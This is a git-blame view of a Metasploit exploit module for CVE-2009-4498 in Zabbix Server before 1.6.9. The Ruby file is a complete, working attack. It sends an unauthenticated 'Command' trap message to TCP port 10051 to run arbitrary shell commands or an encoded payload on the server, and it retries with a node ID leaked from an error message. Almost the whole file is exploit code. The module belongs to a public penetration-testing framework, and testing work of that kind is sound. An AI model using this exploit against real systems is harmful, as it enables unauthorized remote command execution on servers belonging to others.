Files
metasploit-gs/modules/exploits/linux/misc/zabbix_server_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

142 lines
3.9 KiB
Ruby
Raw Normal View History

2012-08-23 18:29:39 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-08-23 18:29:39 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-08-23 18:29:39 +02:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix Server Arbitrary Command Execution',
'Description' => %q{
This module abuses the "Command" trap in Zabbix Server to execute arbitrary
commands without authentication. By default the Node ID "0" is used, if it doesn't
work, the Node ID is leaked from the error message and exploitation retried.
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
},
'Author' =>
[
'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-4498' ],
[ 'OSVDB', '60965' ],
2012-08-23 18:29:39 +02:00
[ 'BID', '37989' ],
[ 'EDB', '10432' ],
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
# *_perl, *_python and *_ruby work if they are installed
}
},
'Targets' =>
[
[ 'Zabbix 1.6.7', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 10 2009'
))
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
register_options(
[
Opt::RPORT(10051),
])
2012-08-23 18:29:39 +02:00
end
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
def send_command(sock, node_id, cmd)
host_id = Rex::Text.rand_text_numeric(3)
msg = "Command\255"
msg << "#{node_id}\255"
msg << "#{host_id}\255"
msg << "#{cmd}\n"
sock.put(msg)
res = sock.get_once
return res
end
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
def check
peer = "#{rhost}:#{rport}"
node_id = 0
clue = Rex::Text.rand_text_alpha(rand(5)+5)
cmd = "echo #{clue}"
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
connect
2016-02-01 15:12:03 -06:00
vprint_status("Sending 'Command' request...")
2012-08-23 18:29:39 +02:00
res = send_command(sock, node_id, cmd)
disconnect
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
if res
2014-01-21 17:14:55 -06:00
vprint_status(res)
2012-08-23 18:29:39 +02:00
if res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
elsif res =~ /-1/ and res=~ /NODE (\d*)/
node_id = $1
2016-02-01 15:12:03 -06:00
vprint_good("Node ID #{node_id} discovered")
2012-08-23 18:29:39 +02:00
else
return Exploit::CheckCode::Safe
end
else # No response
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
# Retry with the good node_id
connect
2016-02-01 15:12:03 -06:00
vprint_status("Sending 'Command' request with discovered Node ID...")
2012-08-23 18:29:39 +02:00
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
def exploit
peer = "#{rhost}:#{rport}"
node_id = 0
cmd = payload.encoded
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
connect
2016-02-01 15:12:03 -06:00
print_status("Sending 'Command' request...")
2012-08-23 18:29:39 +02:00
res = send_command(sock, node_id, cmd)
disconnect
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
if res and res =~ /-1/ and res=~ /NODE (\d*)/
# Retry with the good node_id
node_id = $1
2016-02-01 15:12:03 -06:00
print_good("Node ID #{node_id} discovered")
2012-08-23 18:29:39 +02:00
connect
2016-02-01 15:12:03 -06:00
print_status("Sending 'Command' request with discovered Node ID...")
2012-08-23 18:29:39 +02:00
res = send_command(sock, node_id, cmd)
disconnect
end
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
if res and res =~ /\x30\xad/
2016-02-01 15:12:03 -06:00
print_good("Command executed successfully")
2012-08-23 18:29:39 +02:00
print_status("Output:\n#{res.split("\x30\xad").last}")
else
2016-02-01 15:12:03 -06:00
print_error("Failed to execute the command")
2012-08-23 18:29:39 +02:00
end
end
2013-08-30 16:28:54 -05:00
2012-08-23 18:29:39 +02:00
end
end